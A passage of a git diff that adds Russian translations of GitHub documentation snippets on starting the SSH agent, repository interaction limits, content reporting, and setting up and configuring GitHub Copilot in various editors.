+Password: YOUR_TOKEN +``` diff --git a/translations/ru-RU/data/reusables/command_line/start_ssh_agent.md b/translations/ru-RU/data/reusables/command_line/start_ssh_agent.md new file mode 100644 index 000000000000..0c6f90e5ea37 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/start_ssh_agent.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: a7d12084e7faee6e6b5f6aaec970a9f7a7fc1f17 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139006" +--- +1. Запустите агент SSH в фоновом режиме. + + ```shell + $ eval "$(ssh-agent -s)" + > Agent pid 59566 + ``` + + В зависимости от среды может потребоваться использовать другую команду. Например, вам может потребоваться доступ с правами root, для чего необходимо выполнить `sudo -s -H` перед запуском агента SSH. Может также потребоваться использовать `exec ssh-agent bash`или `exec ssh-agent zsh` для запуска агента SSH. diff --git a/translations/ru-RU/data/reusables/command_line/switching_directories_procedural.md b/translations/ru-RU/data/reusables/command_line/switching_directories_procedural.md new file mode 100644 index 000000000000..48babc010ae6 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/switching_directories_procedural.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 81ce286ce421bc8f268bb825e02e45f37c711e13 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882950" +--- +1. Измените текущий рабочий репозиторий на локальный проект. diff --git a/translations/ru-RU/data/reusables/command_line/use_with_support_only.md b/translations/ru-RU/data/reusables/command_line/use_with_support_only.md new file mode 100644 index 000000000000..ff4d307d9002 --- /dev/null +++ b/translations/ru-RU/data/reusables/command_line/use_with_support_only.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1952a9dd0156924855c2480e0b8a1ac120e85fca +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138982" +--- +**Не используйте** эту команду без указаний от [{% data variables.contact.enterprise_support %}](/enterprise/admin/guides/enterprise-support/). Неправильное использование может привести к повреждению или потере данных. diff --git a/translations/ru-RU/data/reusables/commits/about-commits.md b/translations/ru-RU/data/reusables/commits/about-commits.md new file mode 100644 index 000000000000..32df5ce918fe --- /dev/null +++ b/translations/ru-RU/data/reusables/commits/about-commits.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 289b700ed1759f3db4820143e9ab01f20f0c5938 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138974" +--- +Как и при сохранении измененного файла, фиксация записывает изменения в один или несколько файлов в ветви. Git назначает каждой фиксации уникальный идентификатор, называемый SHA или хэш-кодом, который определяет: + +- конкретные изменения; +- время внесения этих изменений; +- автора этих изменений. + +При выполнении фиксации необходимо включить сообщение фиксации, кратко описывающее изменения. diff --git a/translations/ru-RU/data/reusables/community/interaction-limits-duration.md b/translations/ru-RU/data/reusables/community/interaction-limits-duration.md new file mode 100644 index 000000000000..f43f3514b4f6 --- /dev/null +++ b/translations/ru-RU/data/reusables/community/interaction-limits-duration.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cf657c9824744a1373d304fcf7269ade515adf76 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138966" +--- +При включении ограничения взаимодействия можно выбрать длительность ограничения: 24 часа, 3 дня, 1 неделя, 1 месяц или 6 месяцев. diff --git a/translations/ru-RU/data/reusables/community/interaction-limits-restrictions.md b/translations/ru-RU/data/reusables/community/interaction-limits-restrictions.md new file mode 100644 index 000000000000..c86739467d23 --- /dev/null +++ b/translations/ru-RU/data/reusables/community/interaction-limits-restrictions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6e39bb1cf7e63bdb43749b86356b65e2229e50b3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138961" +--- +Включение ограничения взаимодействия для репозитория ограничивает возможность комментирования, открытия проблем, создания запросов на вытягивание, реагирования с помощью эмодзи, редактирования существующих комментариев и редактирования заголовков проблем и запросов на вытягивание. diff --git a/translations/ru-RU/data/reusables/community/issue-forms-beta.md b/translations/ru-RU/data/reusables/community/issue-forms-beta.md new file mode 100644 index 000000000000..30b661aff8e8 --- /dev/null +++ b/translations/ru-RU/data/reusables/community/issue-forms-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 93a89f6fe5ca0f36d25c62e2a05f761c635a13ea +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881895" +--- +{% note %} + +**Примечание.** Формы проблем в настоящее время находятся в бета-версии только для общедоступных репозиториев на {% data variables.product.prodname_dotcom_the_website %}. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/community/report-content.md b/translations/ru-RU/data/reusables/community/report-content.md new file mode 100644 index 000000000000..d28d666212bd --- /dev/null +++ b/translations/ru-RU/data/reusables/community/report-content.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: cf32c2763dc7a82eec7b4e7f4703d76a0d9e8d98 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147887965" +--- +1. Можно просмотреть параметры **Сообщить администраторам репозитория** или **Сообщить о злоупотреблении в службу поддержки {% data variables.product.prodname_dotcom %}** . В противном случае перейдите к следующему шагу. + - Чтобы пожаловаться на содержимое службе поддержки {% data variables.product.prodname_dotcom %}, щелкните **Сообщить о злоупотреблении в службу поддержки {% data variables.product.prodname_dotcom %}** . + - Чтобы пожаловаться на содержимое ответственным за репозиторий, используйте раскрывающийся список **Выбрать причину** для выбора причины, а затем щелкните **Сообщить администраторам репозитория**. Ваша жалоба отправлена. + ![Модальное окно "Содержимое жалобы"](/assets/images/help/repository/report-content-modal.png) +2. Заполните форму "Содержимое жалобы", а затем щелкните **Отправить запрос**. + ![Форма "Пожаловаться на содержимое"](/assets/images/help/repository/report-content-to-support-form.png) diff --git a/translations/ru-RU/data/reusables/community/set-interaction-limit.md b/translations/ru-RU/data/reusables/community/set-interaction-limit.md new file mode 100644 index 000000000000..c278ee248423 --- /dev/null +++ b/translations/ru-RU/data/reusables/community/set-interaction-limit.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8b18e125d90507995bc1526658f94b75042ef775 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881999" +--- +5. В разделе "Временные ограничения взаимодействия" справа от типа устанавливаемого ограничения взаимодействия используйте раскрывающееся меню **Включить**, а затем щелкните нужную длительность для ограничения взаимодействия. diff --git a/translations/ru-RU/data/reusables/community/tools-for-moderating.md b/translations/ru-RU/data/reusables/community/tools-for-moderating.md new file mode 100644 index 000000000000..d1a082329d88 --- /dev/null +++ b/translations/ru-RU/data/reusables/community/tools-for-moderating.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6b42866a396ee7ca8d73747c8ef41a855c30ef85 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147886753" +--- +Когда в сообществе происходит нарушение поведения, {% data variables.product.prodname_dotcom %} предлагает средства для применения правил поведения и сглаживания конфликта. Например, можно заблокировать беседу, чтобы прекратить споры. Дополнительные сведения см. в разделе [Модерация комментариев и бесед](/communities/moderating-comments-and-conversations). diff --git a/translations/ru-RU/data/reusables/community/types-of-interaction-limits.md b/translations/ru-RU/data/reusables/community/types-of-interaction-limits.md new file mode 100644 index 000000000000..2e53892c02ff --- /dev/null +++ b/translations/ru-RU/data/reusables/community/types-of-interaction-limits.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 68607fbdf600b804f8ec79089306378b9d8e3026 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138913" +--- +Существует три типа ограничений взаимодействия. + - **Ограничение до существующих пользователей**. Ограничивает действия для пользователей с учетными записями, которым менее 24 часов, у которых нет предыдущих вкладов и которые не являются участниками совместной работы. + - **Ограничение до предыдущих участников**. Ограничивает действия для пользователей, которые ранее не внесли свой вклад в ветвь репозитория по умолчанию и не являются участниками совместной работы. + - **Ограничение до участников совместной работы репозитория**. Ограничивает действия для пользователей, у которых нет доступа для записи в репозиторий. diff --git a/translations/ru-RU/data/reusables/copilot/accept-or-reject-suggestion.md b/translations/ru-RU/data/reusables/copilot/accept-or-reject-suggestion.md new file mode 100644 index 000000000000..cb15062f1f82 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/accept-or-reject-suggestion.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c545a3c8f1ac91381154f5b964b0424ee5ba5d99 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882862" +--- +1. Чтобы принять предложение, нажмите клавишу TAB. Чтобы отклонить все предложения, нажмите клавишу ESC. diff --git a/translations/ru-RU/data/reusables/copilot/accept-suggestion-new-tab.md b/translations/ru-RU/data/reusables/copilot/accept-suggestion-new-tab.md new file mode 100644 index 000000000000..f8be355746f1 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/accept-suggestion-new-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3da3b9e0e302813d685012175153af099c051d8b +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881735" +--- +1. Чтобы принять предложение на новой вкладке, щелкните **Принять решение** над тем предложением, которое вас устраивает. diff --git a/translations/ru-RU/data/reusables/copilot/accept-suggestion-tab.md b/translations/ru-RU/data/reusables/copilot/accept-suggestion-tab.md new file mode 100644 index 000000000000..e54513ef9088 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/accept-suggestion-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bd25bd5327548979aeee909153db01649618578c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880833" +--- +1. Если {% data variables.product.prodname_copilot %} предоставляет предложение, которое вы хотите принять, нажмите TAB. diff --git a/translations/ru-RU/data/reusables/copilot/accept-suggestion.md b/translations/ru-RU/data/reusables/copilot/accept-suggestion.md new file mode 100644 index 000000000000..95fcc3e7a931 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/accept-suggestion.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7910f5753a6a71c2bcf76844d2c3fce90abad118 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878727" +--- +1. Чтобы принять предложение, нажмите клавишу TAB. diff --git a/translations/ru-RU/data/reusables/copilot/alternative-suggestions.md b/translations/ru-RU/data/reusables/copilot/alternative-suggestions.md new file mode 100644 index 000000000000..7d901a45a1d4 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/alternative-suggestions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bbfa166559b0ff4cdf9714a63560f5cde21b7073 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080489" +--- +Для некоторых входных данных {% data variables.product.prodname_copilot %} может предоставить несколько предложений. Вы можете выбрать, какое из них нужно использовать, или отклонить все предложения. diff --git a/translations/ru-RU/data/reusables/copilot/close-suggestions-tab.md b/translations/ru-RU/data/reusables/copilot/close-suggestions-tab.md new file mode 100644 index 000000000000..e5a4bfe130ed --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/close-suggestions-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9e6f8220e9e46eb1a0b13b982344e5e2807e6106 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878895" +--- +1. Кроме того, чтобы отклонить все предложения, закройте вкладку предложений. diff --git a/translations/ru-RU/data/reusables/copilot/config-enable-copilot-in-neovim.md b/translations/ru-RU/data/reusables/copilot/config-enable-copilot-in-neovim.md new file mode 100644 index 000000000000..5ffb61eaa55f --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/config-enable-copilot-in-neovim.md @@ -0,0 +1,11 @@ +1. To configure {% data variables.product.prodname_copilot %}, open Neovim and enter the following command. + + ``` + :Copilot setup + ``` + +1. Enable {% data variables.product.prodname_copilot %} in your Neovim configuration, or with the Neovim command. + + ``` + :Copilot enable + ``` diff --git a/translations/ru-RU/data/reusables/copilot/copilot-prerequisites.md b/translations/ru-RU/data/reusables/copilot/copilot-prerequisites.md new file mode 100644 index 000000000000..f885aba6a6ae --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/copilot-prerequisites.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 65ef5b7ddead68864d8890f47e1ec5e8163a368b +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881951" +--- +- {% data variables.product.prodname_copilot %} предоставляется бесплатно для проверенных учащихся и пользователей, обслуживающих программное обеспечение с открытым кодом. +- Если вы не являетесь учащимся и не обслуживаете программное обеспечение с открытым кодом, вам доступна бесплатная пробная версия {% data variables.product.prodname_copilot %} на 60 дней. После пробного периода вы сможете приобрести платную подписку. Чтобы запустить бесплатную пробную версию, необходимо указать данные для выставления счетов. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot). diff --git a/translations/ru-RU/data/reusables/copilot/create-c-file.md b/translations/ru-RU/data/reusables/copilot/create-c-file.md new file mode 100644 index 000000000000..db51e0f669b5 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/create-c-file.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 08294b8b3b4e2487719657ef4c1a66921c163748 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147887852" +--- +1. В {% data variables.product.prodname_vs %} создайте новый файл C# ( _*.cs_). diff --git a/translations/ru-RU/data/reusables/copilot/create-java-file.md b/translations/ru-RU/data/reusables/copilot/create-java-file.md new file mode 100644 index 000000000000..29823e90b258 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/create-java-file.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ba5f7b0060c4603e9c20183e263e367c36329227 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080494" +--- +1. В интегрированной среде разработки JetBrains создайте файл Java ( _*.java_). diff --git a/translations/ru-RU/data/reusables/copilot/create-js-file.md b/translations/ru-RU/data/reusables/copilot/create-js-file.md new file mode 100644 index 000000000000..713b01ac99f1 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/create-js-file.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2b1fb318f4373fa9168d50628f99fd9b1d157c57 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080574" +--- +1. В {% data variables.product.prodname_vscode %} создайте новый файл JavaScript ( _*.js_). diff --git a/translations/ru-RU/data/reusables/copilot/dotcom-settings.md b/translations/ru-RU/data/reusables/copilot/dotcom-settings.md new file mode 100644 index 000000000000..545ee06c09f0 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/dotcom-settings.md @@ -0,0 +1,31 @@ +--- +ms.openlocfilehash: 224ce401421d3af0e9afa5976695c95ed219a7b5 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109176" +--- +## Настройка параметров {% data variables.product.prodname_copilot %} на {% data variables.product.prodname_dotcom_the_website %} + +После получения активной пробной версии или подписки {% data variables.product.prodname_copilot %} можно настроить параметры {% data variables.product.prodname_copilot %} для личной учетной записи на {% data variables.product.prodname_dotcom %} в [параметрах {% data variables.product.prodname_copilot %}](https://github.com/settings/copilot). Параметры применяются везде, где вы используете {% data variables.product.prodname_copilot %}. Вы можете настроить предложения от {% data variables.product.prodname_copilot %} и то, как {% data variables.product.company_short %} использует ваши данные телеметрии. + +## Включение или отключение обнаружения дублирования + +В {% data variables.product.prodname_copilot %} содержится фильтр, который обнаруживает предложения кода, совпадающие с общедоступным кодом в {% data variables.product.prodname_dotcom %}. Этот фильтр можно включить или отключить. Если фильтр включен, {% data variables.product.prodname_copilot %} сверяет предложения кода и около 150 символов кода до и после искомого фрагмента с общедоступным кодом в {% data variables.product.prodname_dotcom %}. Если обнаруживается полное или частичное совпадение, предложение не будет отображаться. + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.copilot-settings %} +1. В разделе **Предложения, соответствующие открытому коду** откройте раскрывающееся меню, а затем нажмите кнопку **Разрешить** или **Блокировать**, чтобы разрешить или блокировать предложения, соответствующие открытому коду. + ![Снимок экрана: параметр обнаружения дублирования](/assets/images/help/copilot/duplication-detection.png) {% data reusables.copilot.save-settings %} + +## Включение или отключение телеметрии + +В параметрах пользователя можно указать, будут ли фрагменты кода собираться и храниться в GitHub, а затем обрабатываться и использоваться Майкрософт и OpenAI. Дополнительные сведения о данных, которые может собирать {% data variables.product.prodname_copilot %} в зависимости от ваших параметров телеметрии, см. в статье "[Условия {% data variables.product.company_short %} для дополнительных продуктов и компонентов](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot)" и в разделе [часто задаваемых вопросов о конфиденциальности {% data variables.product.prodname_copilot %}](https://github.com/features/copilot/#faq-privacy). + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.copilot-settings %} +1. Чтобы разрешить или запретить {% data variables.product.prodname_dotcom %} использовать ваши данные телеметрии, поставьте или снимите флажок **Разрешить {% data variables.product.prodname_dotcom %} использовать мои фрагменты кода для улучшения продукта**. + ![Снимок экрана: параметр телеметрии](/assets/images/help/copilot/telemetry-option.png) {% data reusables.copilot.save-settings %} + +## Дополнительные материалы + +- [Часто задаваемые вопросы по {% data variables.product.prodname_copilot %}](https://github.com/features/copilot/#faq) diff --git a/translations/ru-RU/data/reusables/copilot/emus-cannot-use-copilot.md b/translations/ru-RU/data/reusables/copilot/emus-cannot-use-copilot.md new file mode 100644 index 000000000000..d835c8254f93 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/emus-cannot-use-copilot.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 323e67dec23f2baa8b6e43779ed89e549d5ca198 +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: "148160787" +--- +{% data variables.enterprise.prodname_managed_users_caps %} не может использовать {% data variables.product.prodname_copilot %}. diff --git a/translations/ru-RU/data/reusables/copilot/enabling-disabling-in-jetbrains.md b/translations/ru-RU/data/reusables/copilot/enabling-disabling-in-jetbrains.md new file mode 100644 index 000000000000..c3a6486cba5a --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/enabling-disabling-in-jetbrains.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 960ff3b717cd2526824827ac5c98f613e30d9848 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080634" +--- +## Включение или отключение {% data variables.product.prodname_copilot %} + +Вы можете включить или отключить {% data variables.product.prodname_copilot %} в JetBrains. Значок состояния {% data variables.product.prodname_copilot %} на нижней панели окна JetBrains указывает, включен или отключен параметр {% data variables.product.prodname_copilot %}. Если этот параметр включен, значок выделен. Если он отключен, значок неактивен. + +1. Чтобы включить или отключить {% data variables.product.prodname_copilot %}, щелкните значок состояния на нижней панели окна JetBrains. + ![Снимок экрана: значок состояния в JetBrains](/assets/images/help/copilot/status-icon-jetbrains.png) +2. Если вы отключаете {% data variables.product.prodname_copilot %}, JetBrains предложит отключить эту возможность глобально или только для того языка, который используется в редактируемом файле. Для глобального отключения нажмите кнопку **Отключить завершения**. Вторая кнопка отключит завершения только для языка, который используется в редактируемом файле. + ![Снимок экрана: отключить {% data variables.product.prodname_copilot %} глобально или для текущего языка](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png) diff --git a/translations/ru-RU/data/reusables/copilot/enabling-or-disabling-in-vsc.md b/translations/ru-RU/data/reusables/copilot/enabling-or-disabling-in-vsc.md new file mode 100644 index 000000000000..1315a8058f13 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/enabling-or-disabling-in-vsc.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: ff848691b0400698d7db5b173c4a00417a15e387 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080526" +--- +## Включение или отключение {% data variables.product.prodname_copilot %} + +Вы можете включить или отключить {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vscode %}. Значок состояния {% data variables.product.prodname_copilot %} на нижней панели окна {% data variables.product.prodname_vscode %} указывает, включен или отключен параметр {% data variables.product.prodname_copilot %}. Если этот параметр включен, цвет фона значка будет соответствовать цвету строки состояния. Если этот параметр выключен, цвет фона значка будет контрастировать с цветом строки состояния. + +1. Чтобы включить или отключить {% data variables.product.prodname_copilot %}, щелкните значок состояния на нижней панели окна {% data variables.product.prodname_vscode %}. + ![Снимок экрана: значок состояния в {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/status-icon-visual-studio-code.png) +2. Если вы отключаете {% data variables.product.prodname_copilot %}, появится запрос, следует ли отключить предложения глобально или для языка файла, который вы редактируете. + + - Чтобы отключить предложения от {% data variables.product.prodname_copilot %} глобально, нажмите кнопку **Отключить глобально**. + - Чтобы отключить предложения от {% data variables.product.prodname_copilot %} для указанного языка, нажмите кнопку **Отключить для _ЯЗЫК_**. + ![Снимок экрана: отключить {% data variables.product.prodname_copilot %} глобально или для текущего языка](/assets/images/help/copilot/disable-copilot-global-or-langugage.png) diff --git a/translations/ru-RU/data/reusables/copilot/enabling-or-disabling-vs.md b/translations/ru-RU/data/reusables/copilot/enabling-or-disabling-vs.md new file mode 100644 index 000000000000..ec6458074135 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/enabling-or-disabling-vs.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 1163cafb6879db0d2c5a803568aede0c9538c118 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080749" +--- +## Включение или отключение {% data variables.product.prodname_copilot %} + +Значок состояния {% data variables.product.prodname_copilot %} на нижней панели окна {% data variables.product.prodname_vs %} указывает, включен или отключен параметр {% data variables.product.prodname_copilot %}. Если этот параметр включен, цвет фона значка будет соответствовать цвету строки состояния. Если отключен, он будет перечеркнут диагональной линией. + +1. Чтобы включить или отключить {% data variables.product.prodname_copilot %}, щелкните значок {% data variables.product.prodname_copilot %} на нижней панели окна {% data variables.product.prodname_vs %}. + ![Снимок экрана: поле редактора в Visual Studio с выделенным значком GitHub Copilot](/assets/images/help/copilot/editor-margin-visual-studio.png) +2. Если вы отключаете {% data variables.product.prodname_copilot %}, появится запрос, следует ли отключить предложения глобально или для языка файла, который вы редактируете. + + - Чтобы отключить предложения от {% data variables.product.prodname_copilot %} глобально, нажмите кнопку **Включить глобально**. + - Чтобы отключить предложения от {% data variables.product.prodname_copilot %} для указанного языка, нажмите кнопку **Включить для _ЯЗЫК_**. diff --git a/translations/ru-RU/data/reusables/copilot/generating-suggestions-from-comments.md b/translations/ru-RU/data/reusables/copilot/generating-suggestions-from-comments.md new file mode 100644 index 000000000000..3a7750463a90 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/generating-suggestions-from-comments.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8b6e744268dea4179f5938a74018d857a180e898 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080502" +--- +Вы можете в комментарии на естественном языке описать, что хотите сделать, а {% data variables.product.prodname_copilot %} предложит код для достижения цели. diff --git a/translations/ru-RU/data/reusables/copilot/getting-started-further-reading.md b/translations/ru-RU/data/reusables/copilot/getting-started-further-reading.md new file mode 100644 index 000000000000..79c810350a8e --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/getting-started-further-reading.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 0acad278b8d968113a1cfb10c5635742727872a6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080638" +--- +## Дополнительные сведения + +- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) +- [Сведения о {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot) diff --git a/translations/ru-RU/data/reusables/copilot/install-copilot-in-neovim.md b/translations/ru-RU/data/reusables/copilot/install-copilot-in-neovim.md new file mode 100644 index 000000000000..4b10c8048b82 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/install-copilot-in-neovim.md @@ -0,0 +1 @@ +1. {% data variables.product.prodname_dotcom %} recommends that you install the {% data variables.product.prodname_copilot %} plugin with Neovim's built-in plugin manager. Alternatively, you can use a plugin manager of your choice to install `github/copilot.vim`. diff --git a/translations/ru-RU/data/reusables/copilot/jetbrains-ides.md b/translations/ru-RU/data/reusables/copilot/jetbrains-ides.md new file mode 100644 index 000000000000..9aea6c064c45 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/jetbrains-ides.md @@ -0,0 +1,27 @@ +--- +ms.openlocfilehash: 727b66c906d497f9bbe3655e8ff994d4dababb21 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080744" +--- +Чтобы использовать {% data variables.product.prodname_copilot %} в JetBrains, у вас должна быть установлена совместимая интегрированная среда разработки JetBrains. {% data variables.product.prodname_copilot %} поддерживает следующие интегрированные среды разработки. + +- IntelliJ IDEA (Ultimate, Community, Educational) +- Android Studio +- AppCode +- CLion +- Code With Me Guest +- DataGrip +- DataSpell +- GoLand +- JetBrains Client +- MPS +- PhpStorm +- PyCharm (Professional, Community, Educational) +- Rider +- RubyMine +- WebStorm + +Дополнительные сведения см. в [средстве поиска инструментов для IDE JetBrains](https://www.jetbrains.com/products/). diff --git a/translations/ru-RU/data/reusables/copilot/procedural-intro.md b/translations/ru-RU/data/reusables/copilot/procedural-intro.md new file mode 100644 index 000000000000..683745eb2167 --- /dev/null +++ b/translations/ru-RU/data/reusables/copilot/procedural-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4ca3e837f2821e76a585f31670fd1c44071915b6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080661" +--- +{% data variables.product.prodname_copilot %} предоставляет при написании кода предложения в стиле автозавершения от помощника на базе ИИ. Дополнительные сведения см. в статье [Сведения о {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot). diff --git a/translations/ru-RU/data/reusables/copilot/reject-suggestions-escape.md b/translations/ru-RU/data/reusables/copilot/reject-suggestions-escape.md new file mode 100644 index 000000000000..ab28165bc25c --- /dev/null +++ 